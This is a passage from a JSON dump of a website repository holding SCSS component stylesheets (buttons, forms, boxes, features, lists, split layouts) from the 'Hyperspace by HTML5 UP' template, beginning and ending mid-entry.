0;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\tinput[type=\"submit\"],\r\n\t\t\t\t\tinput[type=\"reset\"],\r\n\t\t\t\t\tinput[type=\"button\"],\r\n\t\t\t\t\tbutton,\r\n\t\t\t\t\t.button {\r\n\t\t\t\t\t\twidth: 100%;\r\n\r\n\t\t\t\t\t\t&.icon {\r\n\t\t\t\t\t\t\t&:before {\r\n\t\t\t\t\t\t\t\tmargin-left: -0.5rem;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2022/assets/sass/components/_box.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Box */\r\n\r\n\t.box {\r\n\t\tborder-radius: _size(border-radius);\r\n\t\tborder: solid _size(border-width) _palette(border);\r\n\t\tmargin-bottom: _size(element-margin);\r\n\t\tpadding: 1.5em;\r\n\r\n\t\t> :last-child,\r\n\t\t> :last-child > :last-child,\r\n\t\t> :last-child > :last-child > :last-child {\r\n\t\t\tmargin-bottom: 0;\r\n\t\t}\r\n\r\n\t\t&.alt {\r\n\t\t\tborder: 0;\r\n\t\t\tborder-radius: 0;\r\n\t\t\tpadding: 0;\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2022/assets/sass/components/_button.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Button */\r\n\r\n\tinput[type=\"submit\"],\r\n\tinput[type=\"reset\"],\r\n\tinput[type=\"button\"],\r\n\tbutton,\r\n\t.button {\r\n\t\t@include vendor('appearance', 'none');\r\n\t\t@include vendor('transition', (\r\n\t\t\t'border-color #{_duration(transition)} ease'\r\n\t\t));\r\n\t\tbackground-color: transparent;\r\n\t\tborder: solid 1px !important;\r\n\t\tborder-color: _palette(border) !important;\r\n\t\tborder-radius: 3em;\r\n\t\tcolor: _palette(fg-bold) !important;\r\n\t\tcursor: pointer;\r\n\t\tdisplay: inline-block;\r\n\t\tfont-size: 0.6em;\r\n\t\tfont-weight: _font(weight-bold);\r\n\t\theight: calc(4.75em + 2px);\r\n\t\tletter-spacing: _font(kerning-alt);\r\n\t\tline-height: 4.75em;\r\n\t\toutline: 0;\r\n\t\tpadding: 0 3.75em;\r\n\t\tposition: relative;\r\n\t\ttext-align: center;\r\n\t\ttext-decoration: none;\r\n\t\ttext-transform: uppercase;\r\n\t\twhite-space: nowrap;\r\n\r\n\t\t&:after {\r\n\t\t\t@include vendor('transform', 'scale(0.25)');\r\n\t\t\t@include vendor('pointer-events', 'none');\r\n\t\t\t@include vendor('transition', (\r\n\t\t\t\t'opacity #{_duration(transition)} ease',\r\n\t\t\t\t'transform #{_duration(transition)} ease'\r\n\t\t\t));\r\n\t\t\tbackground: _palette(fg-bold);\r\n\t\t\tborder-radius: 3em;\r\n\t\t\tcontent: '';\r\n\t\t\theight: 100%;\r\n\t\t\tleft: 0;\r\n\t\t\topacity: 0;\r\n\t\t\tposition: absolute;\r\n\t\t\ttop: 0;\r\n\t\t\twidth: 100%;\r\n\t\t}\r\n\r\n\t\t&.icon {\r\n\t\t\t&:before {\r\n\t\t\t\tmargin-right: 0.75em;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.fit {\r\n\t\t\twidth: 100%;\r\n\t\t}\r\n\r\n\t\t&.small {\r\n\t\t\tfont-size: 0.4em;\r\n\t\t}\r\n\r\n\t\t&.large {\r\n\t\t\tfont-size: 0.8em;\r\n\t\t}\r\n\r\n\t\t&.primary {\r\n\t\t\tbackground-color: _palette(fg-bold);\r\n\t\t\tcolor: _palette(bg) !important;\r\n\r\n\t\t\t&:after {\r\n\t\t\t\tdisplay: none;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.disabled,\r\n\t\t&:disabled {\r\n\t\t\tcursor: default;\r\n\t\t\topacity: 0.5;\r\n\t\t\t@include vendor('pointer-events', 'none');\r\n\t\t}\r\n\r\n\t\t&:hover {\r\n\t\t\tborder-color: _palette(fg) !important;\r\n\r\n\t\t\t&:after {\r\n\t\t\t\topacity: 0.05;\r\n\t\t\t\t@include vendor('transform', 'scale(1)');\r\n\t\t\t}\r\n\r\n\t\t\t&:active {\r\n\t\t\t\tborder-color: _palette(fg-bold) !important;\r\n\r\n\t\t\t\t&:after {\r\n\t\t\t\t\topacity: 0.1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2022/assets/sass/components/_contact.scss",
    "content": "///\n/// Hyperspace by HTML5 UP\n/// html5up.net | @ajlkn\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\n///\n\n/* Contact */\n\n\tul.contact {\n\t\tlist-style: none;\n\t\tpadding: 0;\n\n\t\t> li {\n\t\t\tpadding: 0;\n\t\t\tmargin: 1.5em 0 0 0;\n\n\t\t\t&:first-child {\n\t\t\t\tmargin-top: 0;\n\t\t\t}\n\t\t}\n\t}"
  },
  {
    "path": "2022/assets/sass/components/_features.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Features */\r\n\r\n\t.features {\r\n\t\t@include vendor('display', 'flex');\r\n\t\t@include vendor('flex-wrap', 'wrap');\r\n\t\tborder-radius: _size(border-radius);\r\n\t\tborder: solid 1px _palette(border);\r\n\t\tbackground: _palette(border-bg);\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\r\n\t\tsection {\r\n\t\t\t@include padding(3em, 3em, (0.5em, 0, 0, 4em));\r\n\t\t\twidth: 50%;\r\n\t\t\tborder-top: solid 1px _palette(border);\r\n\t\t\tposition: relative;\r\n\r\n\t\t\t&:nth-child(-n + 2) {\r\n\t\t\t\tborder-top-width: 0;\r\n\t\t\t}\r\n\r\n\t\t\t&:nth-child(2n) {\r\n\t\t\t\tborder-left: solid 1px _palette(border);\r\n\t\t\t}\r\n\r\n\t\t\t.icon {\r\n\t\t\t\t@include vendor('transition', (\r\n\t\t\t\t\t'opacity #{_duration(activation) * 0.5} ease',\r\n\t\t\t\t\t'transform #{_duration(activation) * 0.5} ease'\r\n\t\t\t\t));\r\n\t\t\t\t@include vendor('transition-delay', '1s');\r\n\t\t\t\t@include vendor('transform', 'scale(1)');\r\n\t\t\t\tposition: absolute;\r\n\t\t\t\tleft: 3em;\r\n\t\t\t\ttop: 3em;\r\n\t\t\t\topacity: 1;\r\n\t\t\t}\r\n\r\n\t\t\t@for $i from 1 through _misc(max-features) {\r\n\t\t\t\t&:nth-child(#{$i}) {\r\n\t\t\t\t\t.icon {\r\n\t\t\t\t\t\t@include vendor('transition-delay', '#{(_duration(transition) * 0.75 * $i)}');\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.inactive {\r\n\t\t\tsection {\r\n\t\t\t\t.icon {\r\n\t\t\t\t\t@include vendor('transform', 'scale(0.5)');\r\n\t\t\t\t\topacity: 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=medium') {\r\n\t\t\tdisplay: block;\r\n\r\n\t\t\tsection {\r\n\t\t\t\tborder-top-width: 1px !important;\r\n\t\t\t\tborder-left-width: 0 !important;\r\n\t\t\t\twidth: 100%;\r\n\r\n\t\t\t\t&:first-child {\r\n\t\t\t\t\tborder-top-width: 0 !important;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=small') {\r\n\t\t\tsection {\r\n\t\t\t\t@include padding(2em, 1.5em, (0.5em, 0, 0, 4em));\r\n\r\n\t\t\t\t.icon {\r\n\t\t\t\t\tleft: 1.5em;\r\n\t\t\t\t\ttop: 2em;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=xsmall') {\r\n\t\t\tsection {\r\n\t\t\t\t@include padding(2em, 1.5em, (0, 0, 0, 0));\r\n\r\n\t\t\t\t.icon {\r\n\t\t\t\t\tleft: 0;\r\n\t\t\t\t\tposition: relative;\r\n\t\t\t\t\ttop: 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2022/assets/sass/components/_form.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Form */\r\n\r\n\tform {\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\r\n\t\t> :last-child {\r\n\t\t\tmargin-bottom: 0;\r\n\t\t}\r\n\r\n\t\t> .fields {\r\n\t\t\t$gutter: (_size(element-margin) * 0.75);\r\n\r\n\t\t\t@include vendor('display', 'flex');\r\n\t\t\t@include vendor('flex-wrap', 'wrap');\r\n\t\t\twidth: calc(100% + #{$gutter * 2});\r\n\t\t\tmargin: ($gutter * -1) 0 _size(element-margin) ($gutter * -1);\r\n\r\n\t\t\t> .field {\r\n\t\t\t\t@include vendor('flex-grow', '0');\r\n\t\t\t\t@include vendor('flex-shrink', '0');\r\n\t\t\t\tpadding: $gutter 0 0 $gutter;\r\n\t\t\t\twidth: calc(100% - #{$gutter * 1});\r\n\r\n\t\t\t\t&.half {\r\n\t\t\t\t\twidth: calc(50% - #{$gutter * 0.5});\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.third {\r\n\t\t\t\t\twidth: calc(#{100% / 3} - #{$gutter * (1 / 3)});\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.quarter {\r\n\t\t\t\t\twidth: calc(25% - #{$gutter * 0.25});\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=xsmall') {\r\n\t\t\t> .fields {\r\n\t\t\t\t$gutter: (_size(element-margin) * 0.75);\r\n\r\n\t\t\t\twidth: calc(100% + #{$gutter * 2});\r\n\t\t\t\tmargin: ($gutter * -1) 0 _size(element-margin) ($gutter * -1);\r\n\r\n\t\t\t\t> .field {\r\n\t\t\t\t\tpadding: $gutter 0 0 $gutter;\r\n\t\t\t\t\twidth: calc(100% - #{$gutter * 1});\r\n\r\n\t\t\t\t\t&.half {\r\n\t\t\t\t\t\twidth: calc(100% - #{$gutter * 1});\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t&.third {\r\n\t\t\t\t\t\twidth: calc(100% - #{$gutter * 1});\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t&.quarter {\r\n\t\t\t\t\t\twidth: calc(100% - #{$gutter * 1});\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tlabel {\r\n\t\tcolor: _palette(fg-bold);\r\n\t\tfont-weight: _font(weight-bold);\r\n\t\tline-height: 1.5;\r\n\t\tmargin: 0 0 (_size(element-margin) * 0.35) 0;\r\n\t\tdisplay: block;\r\n\t\tfont-size: 1.1em;\r\n\t}\r\n\r\n\tinput[type=\"text\"],\r\n\tinput[type=\"password\"],\r\n\tinput[type=\"email\"],\r\n\tinput[type=\"tel\"],\r\n\tselect,\r\n\ttextarea {\r\n\t\t@include vendor('appearance', 'none');\r\n\t\tbackground: _palette(border-bg);\r\n\t\tborder-radius: _size(border-radius);\r\n\t\tborder: none;\r\n\t\tborder: solid _size(border-width) _palette(border);\r\n\t\tcolor: inherit;\r\n\t\tdisplay: block;\r\n\t\toutline: 0;\r\n\t\tpadding: 0 1em;\r\n\t\ttext-decoration: none;\r\n\t\twidth: 100%;\r\n\r\n\t\t&:invalid {\r\n\t\t\tbox-shadow: none;\r\n\t\t}\r\n\r\n\t\t&:focus {\r\n\t\t\tborder-color: _palette(fg-bold);\r\n\t\t\tbox-shadow: 0 0 0 _size(border-width) _palette(fg-bold);\r\n\t\t}\r\n\t}\r\n\r\n\tselect {\r\n\t\tbackground-image: svg-url(\"<svg xmlns='http://www.w3.org/2000/svg' width='40' height='40' preserveAspectRatio='none' viewBox='0 0 40 40'><path d='M9.4,12.3l10.4,10.4l10.4-10.4c0.2-0.2,0.5-0.4,0.9-0.4c0.3,0,0.6,0.1,0.9,0.4l3.3,3.3c0.2,0.2,0.4,0.5,0.4,0.9 c0,0.4-0.1,0.6-0.4,0.9L20.7,31.9c-0.2,0.2-0.5,0.4-0.9,0.4c-0.3,0-0.6-0.1-0.9-0.4L4.3,17.3c-0.2-0.2-0.4-0.5-0.4-0.9 c0-0.4,0.1-0.6,0.4-0.9l3.3-3.3c0.2-0.2,0.5-0.4,0.9-0.4S9.1,12.1,9.4,12.3z' fill='#{_palette(border)}' /></svg>\");\r\n\t\tbackground-size: 1.25rem;\r\n\t\tbackground-repeat: no-repeat;\r\n\t\tbackground-position: calc(100% - 1rem) center;\r\n\t\theight: _size(element-height);\r\n\t\tpadding-right: _size(element-height);\r\n\t\ttext-overflow: ellipsis;\r\n\r\n\t\toption {\r\n\t\t\tcolor: _palette(fg-bold);\r\n\t\t\tbackground: _palette(bg);\r\n\t\t}\r\n\r\n\t\t&:focus {\r\n\t\t\t&::-ms-value {\r\n\t\t\t\tbackground-color: transparent;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&::-ms-expand {\r\n\t\t\tdisplay: none;\r\n\t\t}\r\n\t}\r\n\r\n\tinput[type=\"text\"],\r\n\tinput[type=\"password\"],\r\n\tinput[type=\"email\"],\r\n\tselect {\r\n\t\theight: _size(element-height);\r\n\t}\r\n\r\n\ttextarea {\r\n\t\tpadding: 0.75em 1em;\r\n\r\n\t\tbody.is-ie & {\r\n\t\t\tmin-height: 10em;\r\n\t\t}\r\n\t}\r\n\r\n\tinput[type=\"checkbox\"],\r\n\tinput[type=\"radio\"], {\r\n\t\t@include vendor('appearance', 'none');\r\n\t\tdisplay: block;\r\n\t\tfloat: left;\r\n\t\tmargin-right: -2em;\r\n\t\topacity: 0;\r\n\t\twidth: 1em;\r\n\t\tz-index: -1;\r\n\r\n\t\t& + label {\r\n\t\t\t@include icon(false, solid);\r\n\t\t\tcolor: _palette(fg);\r\n\t\t\tcursor: pointer;\r\n\t\t\tdisplay: inline-block;\r\n\t\t\tfont-size: 1em;\r\n\t\t\tfont-weight: _font(weight);\r\n\t\t\tpadding-left: (_size(element-height) * 0.6) + 0.75em;\r\n\t\t\tpadding-right: 0.75em;\r\n\t\t\tposition: relative;\r\n\r\n\t\t\t&:before {\r\n\t\t\t\tbackground: _palette(border-bg);\r\n\t\t\t\tborder-radius: _size(border-radius);\r\n\t\t\t\tborder: solid _size(border-width) _palette(border);\r\n\t\t\t\tcontent: '';\r\n\t\t\t\tdisplay: inline-block;\r\n\t\t\t\tfont-size: 0.8em;\r\n\t\t\t\theight: (_size(element-height) * 0.75);\r\n\t\t\t\tleft: 0;\r\n\t\t\t\tline-height: (_size(element-height) * 0.75);\r\n\t\t\t\tposition: absolute;\r\n\t\t\t\ttext-align: center;\r\n\t\t\t\ttop: 0;\r\n\t\t\t\twidth: (_size(element-height) * 0.75);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&:checked + label {\r\n\t\t\t&:before {\r\n\t\t\t\tbackground: _palette(fg-bold);\r\n\t\t\t\tborder-color: _palette(fg-bold);\r\n\t\t\t\tcolor: _palette(accent3);\r\n\t\t\t\tcontent: '\\f00c';\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&:focus + label {\r\n\t\t\t&:before {\r\n\t\t\t\tborder-color: _palette(fg-bold);\r\n\t\t\t\tbox-shadow: 0 0 0 _size(border-width) _palette(fg-bold);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tinput[type=\"checkbox\"] {\r\n\t\t& + label {\r\n\t\t\t&:before {\r\n\t\t\t\tborder-radius: _size(border-radius);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tinput[type=\"radio\"] {\r\n\t\t& + label {\r\n\t\t\t&:before {\r\n\t\t\t\tborder-radius: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t::-webkit-input-placeholder {\r\n\t\tcolor: _palette(fg-light) !important;\r\n\t\topacity: 1.0;\r\n\t}\r\n\r\n\t:-moz-placeholder {\r\n\t\tcolor: _palette(fg-light) !important;\r\n\t\topacity: 1.0;\r\n\t}\r\n\r\n\t::-moz-placeholder {\r\n\t\tcolor: _palette(fg-light) !important;\r\n\t\topacity: 1.0;\r\n\t}\r\n\r\n\t:-ms-input-placeholder {\r\n\t\tcolor: _palette(fg-light) !important;\r\n\t\topacity: 1.0;\r\n\t}"
  },
  {
    "path": "2022/assets/sass/components/_icon.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Icon */\r\n\r\n\t.icon {\r\n\t\t@include icon;\r\n\t\tborder-bottom: none;\r\n\t\tposition: relative;\r\n\r\n\t\t> .label {\r\n\t\t\tdisplay: none;\r\n\t\t}\r\n\r\n\t\t&:before {\r\n\t\t\tline-height: inherit;\r\n\t\t}\r\n\r\n\t\t&.solid {\r\n\t\t\t&:before {\r\n\t\t\t\tfont-weight: 900;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.brands {\r\n\t\t\t&:before {\r\n\t\t\t\tfont-family: 'Font Awesome 5 Brands';\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.major {\r\n\t\t\twidth: 2.5em;\r\n\t\t\theight: 2.5em;\r\n\t\t\tdisplay: block;\r\n\t\t\tbackground: _palette(fg-bold);\r\n\t\t\tborder-radius: 100%;\r\n\t\t\tcolor: _palette(bg);\r\n\t\t\ttext-align: center;\r\n\t\t\tline-height: 2.5em;\r\n\t\t\tmargin: 0 0 (_size(element-margin) * 0.65) 0;\r\n\r\n\t\t\t&:before {\r\n\t\t\t\tfont-size: 1.25em;\r\n\r\n\t\t\t\t.wrapper.style1 & {\r\n\t\t\t\t\tcolor: _palette(accent1);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t.wrapper.style1-alt & {\r\n\t\t\t\t\tcolor: _palette(accent1-alt);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t.wrapper.style2 & {\r\n\t\t\t\t\tcolor: _palette(accent2);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t.wrapper.style2-alt & {\r\n\t\t\t\t\tcolor: _palette(accent2-alt);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t.wrapper.style3 & {\r\n\t\t\t\t\tcolor: _palette(accent3);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t.wrapper.style3-alt & {\r\n\t\t\t\t\tcolor: _palette(accent3-alt);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2022/assets/sass/components/_icons.scss",
    "content": "///\n/// Hyperspace by HTML5 UP\n/// html5up.net | @ajlkn\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\n///\n\n/* Icons */\n\n\tul.icons {\n\t\tcursor: default;\n\t\tlist-style: none;\n\t\tpadding-left: 0;\n\n\t\tli {\n\t\t\tdisplay: inline-block;\n\t\t\tpadding: 0 0.75em 0 0;\n\n\t\t\t&:last-child {\n\t\t\t\tpadding-right: 0;\n\t\t\t}\n\n\t\t\t> a, > span {\n\t\t\t\tborder: 0;\n\n\t\t\t\t.label {\n\t\t\t\t\tdisplay: none;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}"
  },
  {
    "path": "2022/assets/sass/components/_image.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Image */\r\n\r\n\t.image {\r\n\t\tborder-radius: _size(border-radius);\r\n\t\tborder: 0;\r\n\t\tdisplay: inline-block;\r\n\t\tposition: relative;\r\n\r\n\t\timg {\r\n\t\t\tborder-radius: _size(border-radius);\r\n\t\t\tdisplay: block;\r\n\t\t}\r\n\r\n\t\t&.left,\r\n\t\t&.right {\r\n\t\t\tmax-width: 40%;\r\n\r\n\t\t\timg {\r\n\t\t\t\twidth: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.left {\r\n\t\t\tfloat: left;\r\n\t\t\tmargin: 0 1.5em 1em 0;\r\n\t\t\ttop: 0.25em;\r\n\t\t}\r\n\r\n\t\t&.right {\r\n\t\t\tfloat: right;\r\n\t\t\tmargin: 0 0 1em 1.5em;\r\n\t\t\ttop: 0.25em;\r\n\t\t}\r\n\r\n\t\t&.fit {\r\n\t\t\tdisplay: block;\r\n\t\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t\t\twidth: 100%;\r\n\r\n\t\t\timg {\r\n\t\t\t\twidth: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.main {\r\n\t\t\tdisplay: block;\r\n\t\t\tmargin: 0 0 (_size(element-margin) * 1.5) 0;\r\n\t\t\twidth: 100%;\r\n\r\n\t\t\timg {\r\n\t\t\t\twidth: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2022/assets/sass/components/_list.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* List */\r\n\r\n\tol {\r\n\t\tlist-style: decimal;\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t\tpadding-left: 1.25em;\r\n\r\n\t\tli {\r\n\t\t\tpadding-left: 0.25em;\r\n\t\t}\r\n\t}\r\n\r\n\tul {\r\n\t\tlist-style: disc;\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t\tpadding-left: 1em;\r\n\r\n\t\tli {\r\n\t\t\tpadding-left: 0.5em;\r\n\t\t}\r\n\r\n\t\t&.alt {\r\n\t\t\tlist-style: none;\r\n\t\t\tpadding-left: 0;\r\n\r\n\t\t\tli {\r\n\t\t\t\tborder-top: solid _size(border-width) _palette(border);\r\n\t\t\t\tpadding: 0.5em 0;\r\n\r\n\t\t\t\t&:first-child {\r\n\t\t\t\t\tborder-top: 0;\r\n\t\t\t\t\tpadding-top: 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tdl {\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\r\n\t\tdt {\r\n\t\t\tdisplay: block;\r\n\t\t\tfont-weight: _font(weight-bold);\r\n\t\t\tmargin: 0 0 (_size(element-margin) * 0.5) 0;\r\n\t\t}\r\n\r\n\t\tdd {\r\n\t\t\tmargin-left: _size(element-margin);\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2022/assets/sass/components/_menu.scss",
    "content": "///\n/// Hyperspace by HTML5 UP\n/// html5up.net | @ajlkn\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\n///\n\n/* Menu */\n\n\tul.menu {\n\t\tlist-style: none;\n\t\tpadding: 0;\n\n\t\t> li {\n\t\t\tborder-left: solid 1px _palette(border);\n\t\t\tdisplay: inline-block;\n\t\t\tline-height: 1;\n\t\t\tmargin-left: 1.5em;\n\t\t\tpadding: 0 0 0 1.5em;\n\n\t\t\t&:first-child {\n\t\t\t\tborder-left: 0;\n\t\t\t\tmargin: 0;\n\t\t\t\tpadding-left: 0;\n\t\t\t}\n\t\t}\n\n\t\t@include breakpoint('<=xsmall') {\n\t\t\t> li {\n\t\t\t\tborder-left: 0;\n\t\t\t\tdisplay: block;\n\t\t\t\tline-height: inherit;\n\t\t\t\tmargin: 0.5em 0 0 0;\n\t\t\t\tpadding-left: 0;\n\t\t\t}\n\t\t}\n\t}"
  },
  {
    "path": "2022/assets/sass/components/_row.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Row */\r\n\r\n\t.row {\r\n\t\t@include html-grid(1.5em);\r\n\r\n\t\t@include breakpoint('<=xlarge') {\r\n\t\t\t@include html-grid(1.5em, 'xlarge');\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=large') {\r\n\t\t\t@include html-grid(1.5em, 'large');\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=medium') {\r\n\t\t\t@include html-grid(1.5em, 'medium');\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=small') {\r\n\t\t\t@include html-grid(1.5em, 'small');\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=xsmall') {\r\n\t\t\t@include html-grid(1.5em, 'xsmall');\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2022/assets/sass/components/_section.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Section/Article */\r\n\r\n\tsection, article {\r\n\t\t&.special {\r\n\t\t\ttext-align: center;\r\n\t\t}\r\n\t}\r\n\r\n\theader {\r\n\t\tp {\r\n\t\t\tcolor: _palette(fg-light);\r\n\t\t\tposition: relative;\r\n\t\t\tmargin: 0 0 (_size(element-margin) * 0.75) 0;\r\n\t\t}\r\n\r\n\t\th2 + p {\r\n\t\t\tfont-size: 1.25em;\r\n\t\t\tmargin-top: (_size(element-margin) * -0.5);\r\n\t\t\tline-height: 1.5em;\r\n\t\t}\r\n\r\n\t\th3 + p {\r\n\t\t\tfont-size: 1.1em;\r\n\t\t\tmargin-top: (_size(element-margin) * -0.4);\r\n\t\t\tline-height: 1.5em;\r\n\t\t}\r\n\r\n\t\th4 + p,\r\n\t\th5 + p,\r\n\t\th6 + p {\r\n\t\t\tfont-size: 0.9em;\r\n\t\t\tmargin-top: (_size(element-margin) * -0.3);\r\n\t\t\tline-height: 1.5em;\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2022/assets/sass/components/_split.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Split */\r\n\r\n\t.split {\r\n\t\t@include vendor('display', 'flex');\r\n\r\n\t\t> * {\r\n\t\t\twidth: calc(50% - 2.5em);\r\n\t\t}\r\n\r\n\t\t> :nth-child(2n - 1) {\r\n\t\t\tpadding-right: 2.5em;\r\n\t\t\tborder-right: solid 1px _palette(border);\r\n\t\t}\r\n\r\n\t\t> :nth-child(2n) {\r\n\t\t\tpadding-left: 2.5em;\r\n\t\t}\r\n\r\n\t\t&.style1 {\r\n\t\t\t> :nth-child(2n - 1) {\r\n\t\t\t\twidth: calc(66.66666% - 2.5em);\r\n\t\t\t}\r\n\r\n\t\t\t> :nth-child(2n) {\r\n\t\t\t\twidth: calc(33.33333% - 2.5em);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=xlarge') {\r\n\t\t\t> * {\r\n\t\t\t\twidth: calc(50% - 2em);\r\n\t\t\t}\r\n\r\n\t\t\t> :nth-child(2n - 1) {\r\n\t\t\t\tpadding-right: 2em;\r\n\t\t\t}\r\n\r\n\t\t\t> :nth-child(2n) {\r\n\t\t\t\tpadding-left: 2em;\r\n\t\t\t}\r\n\r\n\t\t\t&.style1 {\r\n\t\t\t\t> :nth-child(2n - 1) {\r\n\t\t\t\t\twidth: calc(66.66666% - 2em);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t> :nth-child(2n) {\r\n\t\t\t\t\twidth: calc(33.33333% - 2em);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=medium') {\r\n\t\t\tdisplay: block;\r\n\r\n\t\t\t> * {\r\n\t\t\t\tborder-top: solid 1px _palette(border);\r\n\t\t\t\tmargin: 4em 0 0 0;\r\n\t\t\t\tpadding: 4em 0 0 0;\r\n\t\t\t\twidth: 100% !important;\r\n\t\t\t}\r\n\r\n\t\t\t> :nth-child(2n - 1) {\r\n\t\t\t\tborder-right: 0;\r\n\t\t\t\tpadding-right: 0;\r\n\t\t\t}\r\n\r\n\t\t\t> :nth-child(2n) {\r\n\t\t\t\tpadding-left: 0;\r\n\t\t\t}\r\n\r\n\t\t\t> :first-child {\r\n\t\t\t\tborder-top: 0;\r\n\t\t\t\tmargin-top: 0;\r\n\t\t\t\tpadding-top: 0;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=small') {\r\n\t\t\t> * {\r\n\t\t\t\tmargin: 3em 0 0 0;\r\n\t\t\t\tpadding: 3em 0 0 0;\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2022/assets/sass/components/_spotlights.scss",
